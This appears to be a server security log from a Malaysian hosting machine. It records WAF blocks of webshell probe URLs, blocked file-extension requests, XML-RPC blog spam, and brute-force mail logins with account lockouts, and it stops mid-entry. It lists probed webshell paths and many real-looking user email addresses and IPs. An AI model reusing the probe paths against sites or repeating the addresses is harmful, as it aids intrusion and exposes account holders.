domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/PHPExcel_Reader_Excel2007.cs||User:visoftcom||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.178.47
country_id: 1733045
description:
[2026-01-30 15:46:58 +0800] info [webmaild] 115.133.178.47 - amirultaib@ajplantations.com.my "POST /cpsess1682844282/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.137.60.152] != Current IP Address [115.133.178.47]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/master/style-switcher/img/new-development.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/PHPExcel_Writer_Excel2007.cs||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/img/photos/vendor/vivus/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 15:48:35 dovecot_login authenticator failed for H=([144.121.245.65]) [64.72.74.162]:48998: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 15:48:16 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:55758: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.33.96.3
country_id: 1835841
description:
2026-01-30 15:48:04 dovecot_login authenticator failed for H=([14.33.96.3]) [14.33.96.3]:41121: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-01-30 15:48:24 dovecot_login authenticator failed for H=(098240.cagr.ncyu.edu.tw) [140.130.98.240]:52836: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-30 15:48:31 dovecot_login authenticator failed for H=(84-238-92-245.ptr.bnaa.dk) [84.238.92.245]:57924: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 15:48:18 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:37332: 535 Incorrect authentication data (set_id=hr@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 15:49:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47901: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/owl.carousel/master/style-switcher/img/demos/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 15:49:27 H=(localhost.localdomain) [45.150.192.143]:46130 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-01-30 15:50:02 dovecot_login authenticator failed for H=([131.161.184.46]) [131.161.184.46]:38116: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.132.228.211
country_id: 1814991
description:
2026-01-30 15:50:18 dovecot_login authenticator failed for H=([59.110.5.198]) [36.132.228.211]:3340: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-01-30 15:50:24 dovecot_login authenticator failed for H=([110.227.211.82]) [110.227.211.82]:42842: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.118.123
country_id: 1814991
description:
2026-01-30 15:50:42 dovecot_login authenticator failed for H=([60.174.118.123]) [60.174.118.123]:44743: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 15:50:02 +0800] info [cpaneld] 45.168.113.8 - kendek "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/IReader.cs||User:visoftcom||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 15:50:59 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/new-development.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 15:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15685: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/vendor/bootstrap/js/new-development.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/PHPExcel_Reader_Excel5.cs||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:52:24 dovecot_login authenticator failed for H=(Y4sdlP4) [185.230.124.69]:62771: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-01-30 15:52:38 dovecot_login authenticator failed for H=([182.95.123.202]) [182.95.123.202]:41096: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 15:52:20 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:40220: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 15:52:49 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:15962: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/modernizr/img/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-01-30 15:52:43 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:36584: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 15:52:11 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:40790: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 15:53:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54539: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-01-30 15:53:01 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:53370: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/vide/img/demos/master/style-switcher/clientele.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/Classes/Worksheet.cs||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:53:16 dovecot_login authenticator failed for H=(I0lc9MGxE) [185.230.124.69]:60119: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.9.200.229
country_id: 2510769
description:
2026-01-30 15:53:18 dovecot_login authenticator failed for H=229.red-88-9-200.dynamicip.rima-tde.net [88.9.200.229]:50132: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.47.30.34
country_id: 953987
description:
2026-01-30 15:53:00 dovecot_login authenticator failed for H=(ADMIN) [154.47.30.34]:11746: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.248.56
country_id: 1733045
description:
[2026-01-30 15:53:52 +0800] info [webmaild] 27.125.248.56 - cmchin@chs.com.my "GET /cpsess7212532717/3rdparty/roundcube/?_task=mail&_action=keep-alive&_remote=1&_unlock=0&_=1769758631687 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.248.192] != Current IP Address [27.125.248.56]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/vide/master/style-switcher/img/demos/clientele.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Resources/schemas/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:54:24 dovecot_login authenticator failed for H=(YPuTMXrML) [185.230.124.69]:64999: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/owl.carousel/img/clientele.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-01-30 15:55:42 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:37242: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 15:55:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:55:08 dovecot_login authenticator failed for H=(FkIlaOU) [185.230.124.69]:49375: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 15:55:15 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:55054: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/finder/Tests/Fixtures/A/a.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 15:55:10 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:51315: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 15:56:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:56:17 dovecot_login authenticator failed for H=(LgYDn4y5w) [185.230.124.69]:53600: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.36.194.248
country_id: 1814991
description:
2026-01-30 15:56:17 dovecot_login authenticator failed for H=([119.36.193.230]) [119.36.194.248]:40236: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.66.124.147
country_id: 1835841
description:
2026-01-30 15:56:44 dovecot_login authenticator failed for H=([121.66.124.147]) [121.66.124.147]:41999: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:57:00 dovecot_login authenticator failed for H=(hONwOgmi) [185.230.124.69]:59682: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/isotope/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/img/clientele.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:57:19 dovecot_login authenticator failed for H=(4Nm0lrY2) [185.230.124.69]:55678: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.184.25.36
country_id: 130758
description:
2026-01-30 15:57:40 dovecot_plain authenticator failed for H=(1f70ua9co6xxneg7) [94.184.25.36]:7820: 535 Incorrect authentication data (set_id=nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.112.109.248
country_id: 6252001
description:
2026-01-30 15:57:02 dovecot_login authenticator failed for H=(host-24-112-109-248.vyvebroadband.net) [24.112.109.248]:48452: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 15:57:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 15:57:35 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:45434: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.57.70.191
country_id: 1814991
description:
2026-01-30 15:57:47 dovecot_login authenticator failed for H=([203.57.70.191]) [203.57.70.191]:49646: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 15:58:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:58:05 dovecot_login authenticator failed for H=(sa6KixSfa) [185.230.124.69]:64012: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery/img/photos/clientele.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 15:58:42 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (ketifely) [87.103.126.54]:8716: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 15:59:16 dovecot_login authenticator failed for H=(tSNlRqfuJ2) [185.230.124.69]:50562: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery.gmap/img/photos/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 15:59:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:00:01 dovecot_login authenticator failed for H=(mCqEGYTobu) [185.230.124.69]:52133: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/common/about.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 150.228.183.131
country_id: 1694008
domain: kendek.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.kendek.com||ServerName:kendek.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 16:00:16 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:57444: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:00:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.246.116.227
country_id: 2017370
description:
2026-01-30 16:01:19 dovecot_plain authenticator failed for H=(272kk144dlc73hyxowg97tdekaxjgl) [185.246.116.227]:17699: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:01:08 dovecot_login authenticator failed for H=(80VZvV) [185.230.124.69]:54833: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-01-30 16:01:36 dovecot_login authenticator failed for H=(nsg-corporate-206.64.186.122.airtel.in) [122.186.64.206]:42768: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.111.210
country_id: 1835841
description:
2026-01-30 16:01:14 dovecot_login authenticator failed for H=([14.37.111.210]) [14.37.111.210]:56092: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/isotope/clientele.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 161.49.210.68
country_id: 1694008
domain: kimmark.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61080.kimmark.com||ServerName:kimmark.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f6e46f320f5be2a6bf53db46067a13248faaf0d0||Title:0xf9113daf||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/isotope/img/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:02:15 dovecot_login authenticator failed for H=(QfYVkfyf) [185.230.124.69]:51649: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:02:38 dovecot_login authenticator failed for H=(wqsUi0sud) [185.230.124.69]:53879: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:03:01 dovecot_login authenticator failed for H=(49t4AoUK) [185.230.124.69]:61973: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-01-30 16:03:10 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:49584: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/bootstrap/js/master/style-switcher/clientele.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-01-30 16:03:55 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp [60.40.45.223]:63252: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easing/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:04:12 dovecot_login authenticator failed for H=(uDlFy2p4) [185.230.124.69]:49643: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:04:14 H=(localhost.localdomain) [45.150.192.143]:33178 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:04:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.67.19
country_id: 1643084
domain: kimmark.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:75955.kimmark.com||ServerName:kimmark.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:79d0d0fffab2d24b4f9284eac5384ad48ae43853||Title:0x0a6fc139||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:05:22 dovecot_login authenticator failed for H=(GNEQQmRPas) [185.230.124.69]:59589: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.appear/img/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
